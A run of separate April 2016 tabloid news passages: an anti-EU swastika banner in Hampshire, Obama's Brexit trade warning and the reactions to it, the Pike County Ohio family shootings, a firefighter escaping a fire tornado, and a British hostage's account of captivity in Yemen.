'At its height more than 100 detectives, uniformed officers, PCSOs and civilian staff were involved in these investigations and the response of Essex Police to keep people safe.

'Detectives worked tirelessly to piece together the evidence of how they died and to establish whether there was any connection between their deaths.

'Sadly we now know that one person, a 17-year-old boy, was indeed responsible. I would like to thank everyone who played a part in our investigations, and also pay tribute to the people of Colchester who supported us throughout this difficult time.'
A UKIP supporter was quizzed by police today after he hung a giant banner containing a swastika on the front of his house.

Taxi driver Timothy 'Dusty' Miller covered the top floor of his three-bedroom detached home with the banner in a bid to attract Brexit voters over this summer's EU referendum.

The banner contains a written slogan exclaiming: 'Have we British forgotten the last attempt to remove our freedom and democracy?'

Separated by the huge swastika, a second line then reads: 'We did not fight two world wars to surrender and be ruled by a corrupt EU!'

Timothy 'Dusty' Miller, pictured, 66, has been quizzed by police over a banner displaying the swastika

The banner, pictured, is 'legal' and 'promotes democracy and freedom' according to Mr Miller, of Hampshire

Mr Miller has previously caused controversy with banners hung at Christmas, with one last year asking Father Christmas for 'Britain to exit the EU or a Koran and lessons in Arabic'.

Mr Miller, 66, said he was contacted by police officers this morning after putting up the 22ft by 8ft banner last night, who told him the Jewish community were 'incensed'.

Explaining his decision to tie it to his house, he said: 'There is nothing wrong with the sign, it's perfectly legal.

'The sign is shown in a historical context referring to nothing other than freedom of democracy.

'I can very well understand their views if I was, in any way, promoting the far right but it's not that at all.

'People want to read that I'm anti-semitic but that is not the truth. I'm referencing what will happen if our freedom of democracy was threatened.

'The Nazis and Hitler came for our freedom and democracy and we repelled them.

'Now the EU have come for our freedom and democracy, they have stolen our freedom and democracy and they have used techniques and mechanisms to do so.

It is one of several anti-EU banners the pensioner has hung on his home in Hedge End in the past few years

'It is outside the scope of democracy and the British people never voted for go into the EU. They voted to go into the European Economic Community.

'People on TV keep saying we voted for it in 1973 but we didn't, we entered what was essentially a trading club.

'That's totally different to what has been hoisted on the British public now. It's morphed.'

Mr Miller argues Britain is not as free and democratic as it once was, which is why he is making a stand with the banner over his home - worth around 280,000.

He believes politicians in the UK have abdicated their responsibilities on to EU, but he upset neighbours with his banner.

He said: 'Neighbours are obviously upset, which is understandable, and I apologise to them and anybody else I've upset who read it out of context.'

He vowed to keep the poster on show after police spoke to him this morning.

But Damian Gevertz, a member of the Southampton-based South Hampshire Reform Jewish Community, said Mr Miller has gone too far in trying to provoke a reaction.

But it has 'outraged' the Jewish community and prompted and upset his neighbours, according to police

Mr Gevertz said: 'He could have used a lot of other symbols to make his point. It is designed to cause offence and does so.

'The swastika is inseparable from the Nazis and Second World War and it evokes visceral gut reactions and emotions.

'Whether or not it is legal, using the symbol is offensive not just to Jews but anyone else who knows someone who fought in the war. The swastika has nothing to do with Europe.'

A Hampshire Constabulary spokeswoman said: 'We are aware of an address on Bursledon Road in Hedge End displaying a poster with a Swastika symbol.

'Displaying the symbol is not a criminal offence but if approached by a member of the community with a criminal allegation relating to the poster, this would be assessed on an individual basis.

CAUSING CONTROVERSY: MR MILLER'S BANNERS THROUGH THE YEARS April 2016: 'Have we British forgotten the last attempt to remove our freedom and democracy? We did not fight two world wars to surrender and be ruled by a corrupt EU!' December 2015: 'Dear Father Christmas. An EU exit is the only present for me. If not, it had better be a Koran and lessons in Arabic.' December 2014: 'An urgent message for Father Christmas. All we wish for is our country back!' December 2013: Dear Father Christmas. All we really need is our country back!' Advertisement

'Officers have visited the occupant on the morning of Friday, April 22 to speak to him about the poster and the offence it could cause to other members of the community.

'He has been advised to consider taking it down to avoid any possible complaints which may be investigated as criminal offences but he has chosen to continue to display the poster.'

Mr Miller, who lives alone in Hedge End, Hants, has attracted controversy in the past with other posters containing outrageous straplines.

In December last year, he was accused of 'crossing the line' by neighbours with a 22ft banner when he asked for a Koran for Christmas.

In red and white letters, it read: 'Dear Father Christmas, an EU exit is the only present for me if not, it had better be a Koran and lessons in Arabic'.

Mr Miller caused controversy last Christmas when displaying this banner asking Father Christmas for Brexit or 'A Koran and lessons in Arabic'

He said at the time he was prompted to put up the banner by the 'failed social experiment' of open borders in the EU.

In previous years his banners, which have all asked Father Christmas for the UK to leave the EU, have prompted calls to the police.

The swastika is stigmatised in Europe and became a symbol of hate following its use by Adolf Hitler and Nazi Germany in World War Two.

It has since become associated with racial hatred and white supremacy since the 1930s and is banned in some countries, including Germany.
Barack Obama tonight warned Britain would be at the 'back of the queue' for a trade deal with America if it quits the EU.

In an extraordinary intervention standing alongside David Cameron at the Foreign Office, the US President warned there was no prospect of a deal 'any time soon'.

Mr Obama defended his right to comment on Britain's June 23 poll despite claims from Leave campaigners that he was being 'hypocritical' and had 'double standards'.

The President insisted his remarks, which have been long planned by Mr Cameron's In campaign, were not a 'threat' to Britain.

But the speech enraged campaigners who support Brexit, with Tory MPs immediately warning that drumming up support from foreign presidents was 'not a good look' for Mr Cameron.

Mr Cameron shook hands with Mr Obama after the President's lengthy intervention in favour of Britain's EU membership

The US President issued an powerful warning to the British people ahead of the June 23 referendum, exceeding even the hopes of In campaigners who were awaiting his endorsement

Mr Obama said as a 'friend' of Britain he had to be 'honest' about the impact of a Brexit vote.

And he insisted that if Out campaigners would continue to be 'ascribing actions' of the US after Brexit, they should hear from the President.

He said: 'And on that matter, for example, I think it's fair to say that maybe some point down the line there might be a UK-US trade agreement, but it's not going to happen any time soon because our focus is in negotiating with a big bloc, the European Union, to get a trade agreement done.

'The UK is going to be in the back of the queue.'

But Justice Minister and Vote Leave spokesman Dominic Raab immediately hit back at Mr Obama.

He said: 'The President made clear that uncontrolled immigration into the EU is a threat to national security. I agree - that is why it is safer to take back control so that we can stop terror suspects from Europe coming into the UK.

'He argued that he thinks it is in America's interests for the UK to stay in the EU but what is good for US politicians is not necessarily good for the British people.

'We want more international cooperation after we Vote Leave, but the EU is not fit for purpose, and cannot cope with the multiple crises we face like terrorism, Syria and mass migration.

'The US would not dream of opening its border with Mexico, so it is hypocritical for President Obama to insist that we do the same with Europe.'

Mr Obama also used the press conference to vow to continue the fight against ISIS in Iraq and Syria following the talks with Mr Cameron

The press conference in the Foreign Office ran to almost an hour in the Foreign and Commonwealth Office

Mr Raab's intervention concluded what could prove to be the biggest day in the referendum campaign:

Mr Obama launched his pro-EU blitz with an opnion column on the benefits of European Union membership in the Daily Telegraph

London Mayor Boris Johnson hit back with his own remarks in The Sun - but the Tory MP sparked a fierce row of his own with a claim that the 'part Kenyan' US president had an 'ancestral dislike of the British empire'

In a choreographed day of activity surrounding the President's visit, Mr Obama flew to Windsor Castle on Marine One for lunch with The Queen and Prince Philip. The 94-year-old Duke drove Mr Obama, his wife Michelle and the Queen to the Castle

The US President then swept into Downing Street in a 19-vehicle convoy shortly after 3pm for an extended meeting with Mr Cameron. After a warm greeting on the steps of No 10, the two leaders spent more than an hour on wide-ranging talks

At 5pm, Mr Cameron and Mr Obama emerged from No 10, crossed Downing Street to the Foreign Office and launched a passionate joint defence of EU membership

The claims by Mr Obama enraged Brexit campaigner who accused No 10 of orchestrating the whole event to intimidate Britons into voting In on June 23

As he outlined the reasons for voting In, Mr Obama said trying to do 'piecemeal trade agreements' was 'hugely inefficient'.

And setting out the choice facing the UK, the president said: 'If, right now, I have got access to a massive market where I sell 44 per cent of my exports and now I'm thinking about leaving the organisation that gives me access to that market and that is responsible for millions of jobs in my country and responsible for an enormous amount of commerce and upon which a lot of businesses depend - that's not something I would probably do.'

Mr Obama said Britain's membership of the EU 'enhances the special relationship' because it meant Washington had a trusted partner in Europe on issues including the fight against terrorism.

'Precisely because I have a confidence in the UK, and I know that if we are not working effectively with Paris or Brussels then those attacks are going to migrate to the United States and to London, I want one of my strongest partners in that conversation.

'So it enhances the special relationship, it does not diminish it.'

Following an intervention which could not have been more supportive, Mr Cameron simply said: 'Barack feels strongly about this and he has said what he said.'

Mr Obama and Mr Cameron, who have been close allies for the past six years, walked together across Downing Street after meetings which ran to more than an hour in No 10

The two leaders also revealed discussions about ISIS and Libya during their Downing Street talks before crossing the street to the Foreign Office

Ukip leader Nigel Farage was quick to criticise Mr Obama's speech on EU membership and warned Britain should be 'wary' about heeding his advice

Tory MP Chris Heaton-Harris claimed Mr Obama's was nothing more than the 'status quo' as there was no trade deal between the EU and US anyway

BARACK OBAMA'S PRO-EU SPEECH IN FULL Barack Obama tonight delivered support for David Cameron's EU campaign which could not have been stronger. In an intervention which many on the Out campaign suspected could have been written in Downing Street, the President said: 'This is a decision for the people of the United Kingdom to make. I'm not coming here to fix any votes, I'm not casting a vote myself, I'm offering my opinion and in democracies everybody should want more information, not less, and you shouldn't be afraid to hear an argument being made - that's not a threat, that should enhance the debate. 'Particularly because my understanding is that some of the folks on the other side have been ascribing to the United States certain actions we will take if the UK does leave the EU - they say for example that 'we will just cut our own trade deals with the United States'. 'So they are voicing an opinion about what the United States is going to do, I figured you might want to hear from the president of the United States what I think the United States is going to do. 'And on that matter, for example, I think it's fair to say that maybe some point down the line there might be a UK-US trade agreement, but it's not going to happen any time soon because our focus is in negotiating with a big bloc, the European Union, to get a trade agreement done. 'The UK is going to be in the back of the queue. 'Not because we don't have a special relationship but because given the heavy lift on any trade agreement, us having access to a big market with a lot of countries rather than trying to do piecemeal trade agreements, which is hugely inefficient. 'The subject at hand  obviously the United States is in a different hemisphere, in different circumstances, has different sets of relationships with its neighbours than the UK does but I can tell you this: if right now I've got access to a massive market where I sell 44 per cent of my exports and now I'm thinking about leaving the organisation that gives me access to that market and that is responsible for millions of jobs in my country and responsible for an enormous amount of commerce and upon which a lot of businesses depend - that's not something I would probably do. 'And what I'm trying to describe is a broader principle that is in our own way  I mean we don't have a common market in the Americas  but in all sorts of ways the United States constrains itself in order to bind everyone under a commons set of norms and rules that makes everyone more prosperous. That's what we built after World War Two. The United States and the UK designed a set of institutions  whether it was the United Nations or the Bretton Woods structure, the IMF, the World Bank, Nato  across the board. That in some degree constrained our freedom to operate and occasionally we had to deal with some bureaucracy, it meant that on occasion we had to persuade other countries and we don't get 100 per cent of what we want in each case but we knew that by doing so, everybody was going to be better off. 'Partly because the norms and rules that were put in place were reflective of what we believed. If there were more free markets around the world and an orderly financial system, we knew we could operate in that environment. 'If we had collective defence treaties through Nato we understood that we could formalise an architecture that would deter aggression rather than us having piecemeal to put together alliances to defeat aggression after it had started.' Advertisement

Tory MP Stewart Jackson accused 'Downing Street spinners' of writing the President's remarks.

He added: 'After Hollande it's becoming a bit of a pattern with Cameron: standing next to foreign Presidents threatening the UK Not a good look.'

Ukip leader Nigel Farage blasted: 'President Obama does not seem to understand that the EU is a political union, completely different to NATO or the G7.

'President Obama won't be in office by the time we're out of the EU post-referendum. Trade deal of course in both countries interests.

'Last time we followed foreign policy advice from a US President was when we went to war in Iraq. We should be wary.'

Leave.EU campaigner Richard Tice said: 'We don't have a trade deal with the United States now because we're members of theEuropean Union.

'The proposed EU-US trade deal, TTIP (Transatlantic Trade and Investment Partnership), would be disastrous for British workers.

'Obama doesn't have the authority to deny us a deal, as he will be long gone before any such proposals are on the table.'

Mr Cameron said the special relationship was as strong as ever after talks with Barack Obama at Downing Street.

Mr Obama said he had shared an 'extraordinary partnership' with Mr Cameron in the joint press conference.

The hour long event, which is likely to mark Mr Obama's final visit to Britain as President, began with both leaders swapping personal anecdotes and repeatedly describing each other as friends.

Mr Cameron said he had discussed global challenges facing both nations, including the threat from ISIS and the migration crisis.

Mr Cameron praised the benefits of working collectively after Mr Obama sparked a fierce row after backing Britain's EU membership.

In an display of the closeness between the two leaders, Mr Cameron said the President was a 'good friend'.

He said: 'The strong and essential partnership between our nations has never been more important.'

Mr Obama today arrived in Downing Street for talks with David Cameron after triggering a Brexit storm by signalling his support for British membership of the EU.

No 10 rolled out the red carpet for the President's arrival and Mr Cameron posed with his US counterpart in front of Downing Street's famous black door.

The 19-vehicle convoy sped up Whitehall today as Mr Obama made what is expected to be his final visit to Britain as President.

Since Air Force One touched down at London Stansted Airport last night, the US President - who famously calls Mr Cameron his 'bro' - has offered strong backing to Mr Cameron's battle to keep Britain in the EU.

The intervention has infuriated Eurosceptic campaigners who have branded Mr Obama 'hypocritical' and guilty of 'wanton double standards' for wading into a UK referendum.

Mr Obama's limousine, which is nicknamed 'The Beast' because of its fearsome size, carried the President into Downing Street this afternoon after Mr Obama joined The Queen for lunch at Windsor Castle.

The talks with Mr Cameron are expected to focus on a host of international issues before the two leaders carry out a hotly-anticipated joined press conference at the Foreign Office.

Mr Cameron will be joined by four of his most senior ministers during the hour long meeting in Downing Street's Cabinet room.

But none of them are backers of the Brexit campaign - all four of George Osborne, Theresa May, Philip Hammond and Michael Fallon will welcome the President's support for the In campaign.

Mr Cameron and Mr Obama posed on the steps of Downing Street this afternoon ahead of their hour long meeting and press conference

Mr Obama was greeted by Mr Cameron in Downing Street on the latest stop of his three day visit to Britain. The pair will have a private meeting before a full bilateral

In his highly controversial intervention in the EU referendum campaign, the US President pleaded with British voters not to cut ties with Brussels - saying it 'magnified' the UK's influence in the world.

He also invoked the spirit of the Second World War by claiming the sacrifice of GIs meant America has a stake in the EU debate and said our decision in June's referendum 'will echo in the prospects of today's generation of Americans as well'.

But Mayor of London Boris Johnson accused him of making an 'incoherent' and 'inconsistent' argument.

A furious Mr Johnson said this morning: 'The Americans would never contemplate anything like the EU, for themselves or for their neighbours in their own hemisphere. Why should they think it right for us?'

Barack Obama and David Cameron's talks began immediately after the pair arrived in Downing Street today. They are expected to have a formal hour long discussion before a press conference later

Mr Obama waved to waiting press outside Downing Street as he walked into No 10 with the Prime Minister today

His anger was echoed by a string of senior Eurosceptic MPs who vented their fury at David Cameron and Defence Secretary Michael Fallon over a warning that there would be celebrations by Moscow and the Islamic State 'in Raqqa' if the UK voted for Brexit.

Justice minister Dominic Raab said President Obama was guilty of 'double standards' because he would 'not dream of opening the US border and allowing free movement with Mexico and he would not dream of allowing the US constitution to be trumped by a Latin American court'.

And he mimicked the US President by adding: 'Can Britain do better outside the EU? I would have to quote Mr Obama in saying 'Yes we can'.'

Mr Obama's massive limousine, complete with American and British flags on the bonnet, rolled into Downing Street today for the high-powered meeting

Staff in Downing Street were forced to sweep the red carpet of rain water on a damp day in London for Mr Obama's visit to No 10

The Barack and Dave love-in: Leaders shower each other in praise as they reminisce over their fondest memories before they both bow out of power

Barack Obama and David Cameron showered each other in praise tonight as they shared their fondest memories of their six-year partnership in power.

While the British Prime Minister hailed the US President as 'someone who gives sage advice... a man with a very good heart and a very good friend', the feeling was mutual, with Mr Obama describing Mr Cameron as 'one of my closest and most trusted partners'.

They reminisced over watching basketball together, playing ping-pong and exchanging each others' countries beers.

Barack Obama and David Cameron used today's event to reminisce about their six year working relationship as the President is not expected back in Britain before he leaves office

Mr Obama and Mr Cameron said the special relationship was stronger than ever at a press conference following today's talks - but Mr Obama warned Britain would be at the 'back of the queue' for a trade deal

The love-in between the two was played out in public as the pair delivered a press conference in the UK Foreign Office after private talks in Downing Street as the President went further than expectd in urging British voters to stay in the EU.

Mr Cameron got to go first. 'I remember very fondly the BBQ we had in Number 10 Downing Street,' he reminisced

'Ive always found Barack someone who gives sage advice. Hes a man with a very good heart. Hes a very good friend and always will be a good friend, I know, to the United Kingdom.'

The two leaders have enjoyed a close relationship over the past six years and Mr Obama has visited Downing Street on several occasions

For his part, Mr Obama described his partnership with David as 'extraordinary', adding: 'He has proven to be a great friend and is one of my closest and most trusted partners.

'Over the six years or so that our terms have overlapped we have met or spoken more times than I can count.

'We've shared our country's beers with each other - he vouches for his, I vouch for mine - taken in a basketball game in America.'

But he corrected Mr Cameron's memory of the pair playing table tennis - triggering blushes from his best mate.

'David I think you should recall we were actually partners in that ping-pong game and we lost to some schoolchildren,' the President said.

'I can't remember whether they were eight or ten but they were decidedly shorter than we were and they whooped us.

'Samantha and Michelle - our better halves - have become good friends as well and it's the depth and the breadth of that special relationship that have helped us tackle some of the most daunting challenges of our time.'

Obama admits he DID remove bust of Churchill from the Oval Office and replace it with one of Martin Luther King... but insists he didn't mean to snub Britain

Barack Obama today admitted for the first time that he had removed a bust of Winston Churchill from the Oval Office and replaced it with one of Martin Luther King.

The US President said that he took the scuplture of Britain's wartime leader out of his office, where it had been placed by George W. Bush, because the room was 'a little cluttered'.

However, he also pointed out that he keeps a bust of Churchill outside his private office elsewhere in the White House, adding: 'I see it every day, including on weekends.'

Replacement: A different bust of Churchill is located in the private residence of the White House; Mr Cameron and Mr Obama are pictured examining it in July 2010

Row: The supposed snub to Churchill, left, was brought up today by Mayor of London Boris Johnson, right

The removal of the bust from the Oval Office has been a source of tension ever since Mr Obama came to power in January 2009, with some Britons seeing the move as a snub to the Special Relationships.

It has also become a hot topic in US politics, with a string of Republican leaders complaining about the decision and pledging to reverse it once the President leaves office.

The White House originally denied that the bust had been removed and sent back to Britain, before admitting that it actually had - although a second identical bust remains in the White House.

Mayor of London Boris Johnson today mentioned the removal of the Churchill bust in a newspaper article criticising the President for supporting Britain's membership of the EU.

His intervention seems to have prompted Mr Obama to set the record straight during a Press conference in London alongside Prime Minister David Cameron.

Boris Johnson branded 'racist' and likened to the right-wing Tea Party after his attack on the 'part Kenyan' Barack Obama

Boris Johnson was accused of 'dog whistle racism' and likened to right-wing 'Tea Party' politicians in the US this morning after his attack on the 'part-Kenyan' Barack Obama.

The Mayor of London spoke out against the US President after he urged British voters to stay in the EU and mentioned his African ancestry as he criticised the decision to remove a bust of Sir Winston Churchill from the Oval Office shortly after Mr Obama entered the White House.

Mr Johnson - who is favourite to succeed David Cameron as Prime Minister - suggested the President got rid of the statue as a 'snub' to Britain's wartime prime minister and a 'symbol of the part-Kenyan President's ancestral dislike of the British empire'.

But Shadow Chancellor John McDonnell hit out at Mr Johnson and demanded he withdraw the controversial remarks.

The Mayor of London (pictured outside his north London home this morning) spoke out against the US President after he urged British voters to stay in the EU and mentioned his African ancestry as he criticised the decision to remove a bust of Sir Winston Churchill from the Oval Office

He wrote on Twitter: 'Mask slips again. Boris part-Kenyan Obama comment is yet another example of dog whistle racism from senior Tories. He should withdraw it.'

Mr Johnson's team has yet to respond to MailOnline's request for a comment.

And Diane Abbott, Shadow International Development Secretary, hit out at Mr Johnson, describing his remarks as 'offensive' and said they echoed those of the Tea Party's right-wing, anti-immigration tendency in the US.

Former Lib Dem leader Lord Campbell said Mr Johnson's comments were 'an unacceptable smear'.

David Cameron orders his advisers to reach out to TRUMP in case he wins the White House  despite blasting him as 'divisive, stupid and wrong'

David Cameron has ordered his diplomats in Washington to reach out to Donald Trump to repair relations in case the Republican front runner pulls off an improbable White House win.

The Prime Minister slammed Mr Trump at 'divisive, stupid and wrong' last year in the wake of controversial remarks about stopping Muslims entering America.

Responding to a petition calling for Mr Trump to be banned from visiting Britain, Mr Cameron said he opposed an outright ban but told MPs: 'If he came to visit our country I think he would unite us all against him.'

There are fears in Government the remarks could leave the 'special relationship' between Britain and America on ice were Mr Trump to enter the White House in January.

Donald Trump, the Republican front runner, is set to be contacted by British diplomats as No 10 worries about mending relations after David Cameron launched a fierce attack on him last year

Sir Kim Darroch, Britain's ambassador to America, has been told by No 10 to prioritise building links with the foreign policy advisers in Mr Trump's team.

A Government source told The Times: 'I think it's fair to say that the prime minister wouldn't say that the whole of the UK would unite against Donald Trump if he was asked now.'

Downing Street today insisted the meetings were a normal diplomatic move ahead of major elections.

Mr Cameron's official spokeswoman said: 'It's a well known job of our ambassadors and embassies to know the political leading figures wherever they are in the world and to engage with them.

'Obviously as we get close to the point where nominees for the US Presidency are decided it makes sense to ensure we have got good links to those candidates.'
The victims were identified as members of the Rhoden family

Investigators have interviewed dozens of people in a frantic search for one or several shooters responsible for the death of eight family members in Pike County, Ohio, on Friday.

The victims, seven adults and a 16-year-old boy, were found dead at four homes along Union Hill Road, prompting authorities to believe they might be chasing three or more shooters.

Authorities have interviewed more than 30 people at this time and will talk to more of them as the investigation continues, Attorney General Mike DeWine said during a news conference Friday evening.

'We will continue until the case is solved. We do not know whether we're talking about one individual or two or three or more,' DeWine added.

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Eight family members - including a 16-year-old boy - were found shot to death in rural Ohio Friday morning. Above, one of the crime scenes

Authorities are reportedly investigating four crime scenes at homes along Union Hill Road in Pike County, including the one above

He said no person of interest had been apprehended at this time and that investigators were looking at different theories.

The dead have been identified as members of the Rhoden family of Piketon. Authorities spoke to 100 of their relatives and friends gathered at a church.

They believe the killers target the family specifically and DeWine said there was no indication of a threat towards the rest of the community.

However Sheriff Charles Reader said: 'There is a threat and I believe that threat to be armed and dangerous.'

The rest of the family has been in touch with the sheriff's office for their protection.

Ohio governor and presidential candidate John Kasich was 'very concerned' about the shooting and requested a briefing, DeWine said.

'We just couldn't believe it. When the governor and I talked I think he was still in shock about it,' he added. 'It's not something you expect to find in any place in the state of Ohio, it's certainly not something you expect to find in Pike County.'

There were no indications that any of the dead had killed themselves, DeWine said.

'We have a murder - or murderers - who have done this,' he added.

Thirty officers have been dispatched, including 13 road deputies, Reader said. The FBI remains available and has not been involved directly at this time.

'We don't know how long this is going to take,' DeWine said. We will continue to work until we know who did it.'

'We're coming,' Reader said. 'When this investigation is complete it's going to point us into the direction we need to go and we will find who did this.'

Eight members of the Rhoden family, including a mother sleeping in a bed with her four-day-old baby next to her, were fatally shot in the head on Friday.

The four-day-old, a six-month-old and a three-year-old child survived the grisly killings.

The victims were identified as members of the Rhoden family, though first names were not released.

Investigators might be looking for several killers but do not know exactly how many. Pictured, a sheriff's deputy stands near one of the crime scenes east of Peebles, Ohio on Friday

Authorities said the shootings appeared targeted towards the Rhoden family specifically. Above, an aerial view of one of the scenes on Friday

They do not believe the community is at threat but Sheriff Charles Reader warned that there might still be an armed and dangerous threat at large. Above, one of the crime scenes

Sources told My Fox Columbus that the shootings do not appear to be random. Above, Union Hill Road - just east of Peebles, Ohio

'Each one of the victims appears to have been executed,' DeWine said earlier. 'Each one of the victims appeared to be shot in the head.'

Local Pastor Phil Fulton told the Columbus Dispatch that the first seven victims are Dana Rhoden, her ex-husband and some of her children and grandchildren.

Some of the victims were in bed, indicating they were shot while they were sleeping, authorities said, adding that some, not all, were killed in bed.

'It's heartbreaking,' DeWine said. 'The one mom was killed in her bed with the 4-day-old right there.'

A motive isn't clear, authorities said, but they urged other members of the Rhoden family to take precautions, and Reader advised all residents to stay inside and lock their doors Friday night.

'This really is a question of public safety, and particularly for any of the Rhoden family,' DeWine said.

The first three homes where bodies were found are within a couple miles of one another on a sparsely populated stretch of road, while the eighth body - a man - was found in a house within 30 miles, the sheriff said.

Reader wouldn't say where the three surviving children were taken on Friday.

Crime scene investigators were first called to Union Hill Road at 8:21am, when seven family members were found shot to death in the head 'execution style'.

Hours later, officials confirmed than an eighth victim was found at a nearby property just before 2pm, but it's still unclear whether this victim is related to the first family of victims.

Authorities didn't release any information on whether there were multiple weapons used or whether anything was missing from the homes.

More than a dozen investigators were seen working at four crime scenes along the road, trying to figure out what happened. These crime scenes include houses and trailer homes separated by a mile at some points.

More than 100 friends and family members spoke to authorities. Pictured, officials speak near the scene of a mass murder east of Peebles, Ohio on Friday

Authorities didn't release any information on whether there were multiple weapons used. Pictured, several ambulances were lined up along the road where the multiple crime scenes were located Friday

Authorities set up road blocks at the intersection of Union Hill Road and Route 32 at the perimeter of a crime scene, Friday, April 22, 2016, in Pike County, Ohio

Lt. Michael Preston, of the Ross County Sheriff's Department speaks to the media on Union Hill Road that approaches a crime scene, Friday, April 22, 2016, in Pike County, Ohio

Authorities allow crime scene investigation vehicles to pass a perimeter checkpoint near a crime scene, Friday, April 22, 2016, in Pike County, Ohio

Goldie Hilderbran, 65, said she lives about a mile from where she has been told a shooting took place.

'I first heard about it this morning from our mail carrier,' Hilderbran said.

Hilderbran said the mail carrier told her deputies had stopped her from delivering mail in the area they had blocked off.

'She just told me she knew something really bad has happened,' Hilderbran said.

Kasich, campaigning in Pennsylvania for his Republican presidential bid, said his office was monitoring the situation in Pike County.

'Reports we are receiving from Peebles are tragic beyond comprehension,' Kasich wrote on his Twitter account.

The economically distressed county in the Appalachian Mountain region has some 28,000 residents and is roughly 80 miles east of Cincinnati.

According to satellite views of the area, the street appears to be dotted with small farms.

Authorities create a perimeter near a crime scene on Union Hill Rd, Friday, April 22, 2016, in Pike County, Ohio

Crime scene investigation vehicles drive up Union Hill Road as they approach the location of a reported multiple shooting, Friday, April 22, 2016, in Pike County, Ohio

Police tape is deployed across from the Union Hill Road exit off Route 32 at a crime scene perimeter, Friday, April 22, 2016, in Pike County, Ohio

A media videographer films an empty Union Hill Road whose access is blocked due to a crime scene investigation, Friday, April 22, 2016, in Pike County, Ohio

Media and emergency personnel stand at the perimeter of a crime scene as investigation vehicles drive up Union Hill Road, Friday, April 22, 2016, in Pike County, Ohio

Media personnel stand on Union Hill Road at the perimeter of a crime scene, Friday, April 22, 2016, in Pike County, Ohio

Pastor Fulton remembered the family fondly in interviews with local media.

'They all attended church at one time. They kind of dropped by the wayside probably three, four years ago, maybe. I would always see - out, very friendly, outgoing person. The kids seemed friendly, always you know, just good kids, seemed like,' Fulton, from the Union Hill Church, told WKRC.

He told the Dispatch that 'Dana loved her family' and 'worked hard'.

'What a tragic thing, a tragic thing,' Fulton said. 'We just have to lift this family, this community and this whole country up in prayer.'

Fulton told WCPO that the mass murder was 'very out of character for our community, but with the ways of the world, the way things are going, (so) I guess maybe we shouldn't be surprised. But we are. This is so tragic.'

Peebles High School imposed a precautionary lockout Friday morning after authorities notified the superintendent of shootings that had occurred a few miles away, according to Regina Bennington, secretary to the superintendent for the Adams County Ohio Valley Schools district.

High school officials said the school was back to normal operations later Friday morning.

Piketon is the site of a Cold War-era uranium plant that was closed in 2001 and is still being cleaned up.
This is the incredible moment a firefighter outran a fire tornado and jumped into a lake with seconds to spare.

The dramatic footage was captured on April 14, when fire crews were called to deal with a brush fire in St Albert, Canada.

The blaze appeared to be under control, but when conditions suddenly worsened, a few firefighters  as well as wildlife  rushed to safety at the last minute.

Vincent Pashko was caught on camera frantically running for his life as thick black smoke and flames are seen billowing high into the sky.

An incredible video captured the moment a firefighter narrowly outran a fire tornado in St Albert, Canada

Appearing as just a small speck in the video, he is seen being chased by a swirling funnel of smoke and ash - and at first, it looked as if he he had been swept up into the tornados path.

Witnesses, including Stuart Loomis, who recorded the clip, watched with bated breath from the other side of Big Lake, just outside Edmonton.

And then, Pashko is heard shouting: Im OK. I'm OK. Im in the water.

He was unaware of what was coming up behind him and it just swarmed around him, Diane Logan told CBC News. We were just panic-stricken.

Vincent Pashko (circled) is seen running for his life as black smoke and ash billow into the sky on April 14

He appears to be swept up into the tornado's path, but actually jumped into the lake and avoided injury

As witnesses watch from the other side of the lake, Pashko is heard shouting that he's 'in the water'

Logan had been driving home with her husband at the time, but pulled over along the lake when they saw the fire.

We felt such relief at seeing him escape, she added. But then we realized that it was heading straight for us, so we bolted.

She said at first, the fire seemed like it was nearly extinguished  but then quickly spread and turned into a rare fire tornado.

Its just one of those things where we were in a safe zone but you just never know when the conditions are gonna change, Pashko told CBC News after his escape.
He was given hope of being freed after seeing hostage Terry Waite on TV

He tried to escape after wearing down a chain link but he was

British oil worker Bob Semple (pictured) has told of his horrific 19-month ordeal at the hands of Al Qaeda after being kidnapped by militants in the Yemeni capital and chained to a cell

A British hostage kidnapped by Al Qaeda in Yemen has told how he feared being beheaded during his 19 months in captivity.

Speaking for the first time about his ordeal, oil worker Bob Semple said he was forced to ring his wife demanding a $10million (7m) that he knew would never be paid.

He said: 'Who's going to pay $10m for me? Nobody.

'So, I just wrote myself off then. It was either escape or wait for them to cut your head off.'

While in captivity, his wife Sallie was also forced to sell the family home because she could not support their three children on her nurse's salary when his Yemeni employees stopped paying him after he was taken.

Mr Semple had been working in the Yemeni capital Sana'a when he was ambushed by armed militants just yards from his office.

He'd driven the same route countless times and believes terrorists had been tracking his movements.

The guard he was travelling with fled but Mr Semple refused to get out of the car.

He was stabbed in the arm and shoulder through an open window and, despite putting up a fight, was hit around the head with a pistol until he was semi-conscious and bundled into a car.

Speaking to ITV News, he said: 'I was on my way to work, less than 100metres from the office and a taxi pulled in front. Stopped the car and these guys with guns pulled out.

'The one with the knife stabbed me, the other one started clubbing my over the head with his pistols.

'I was pistol whipped. When I was semiconscious they bundled me into another truck.'

His wife Sallie was at work as a nurse in the UK when news came from the Foreign Office that Bob had been kidnapped.

His captors held him for a week near Sana'a before dressing him in a burqa, blindfolding him and, with a gun to his back, they drove him to a remote location.

He was chained in a dark cell with no hope he would ever see his family again and he bid a mental farewell to his wife and children.

Lives torn apart: Mr Semple's wife Sallie (right) was forced to sell their home because she couldn't support their three children on her nurse's salary when his Yemeni employees stopped paying him after he was taken

To distract himself from thoughts of home, he would practise spherical geometry in his head. To keep his mind sharp.

He said: 'I had a cell which was one 1.5 metres wide by 3 metres long and a hole at one end for the toilet and a hole through the wall with a chain which they put round my ankle and a steel door.'

He said 'at no point' did he think he would make it out alive.

He added: 'After the initial week, I just sort of switched everything off. Put friends, family in the background and concentrated on other stuff.

'The first week I found tough because I kept thinking about family, friends, my boys and I thought I'm not going to survive this.

'And I thought let's just forget them, you're on your own now. When you die, you die and that's it.'

He was held for six month until one day his captors blindfolded him and dressed him in a burqa again.

'They dumped me in a car,' he said. 'We drove for four hours over lots of terrain. You could feel the tyres slipping on sand. Bumps when we were in rock. You could feel the hills we were going up.'

After six months in captivity with no news of her husband, his captors dialled his home phone number.

Forced to repeat a message, he had to tell Sallie his captors wanted $10m. That emotional phone call was the first time she had proof Bob was still alive.

Mr Semple pictured back home with his wife in August days after being freed in an operation by UAE troops

Mrs Semple said: 'I was the only person that answered the home phone in case it was Bob.'

Mr Semple added: 'They dialled a number and Sallie answered the phone. I had to tell her they wanted $10million. Sallie kept it together. I had to bite my tongue twice.

'Once I made that call I knew now what they wanted. And $10million? Who is going to pay $10million for me? No way. I wrote myself off. So it was either escape or wait for them to cut your head off.'

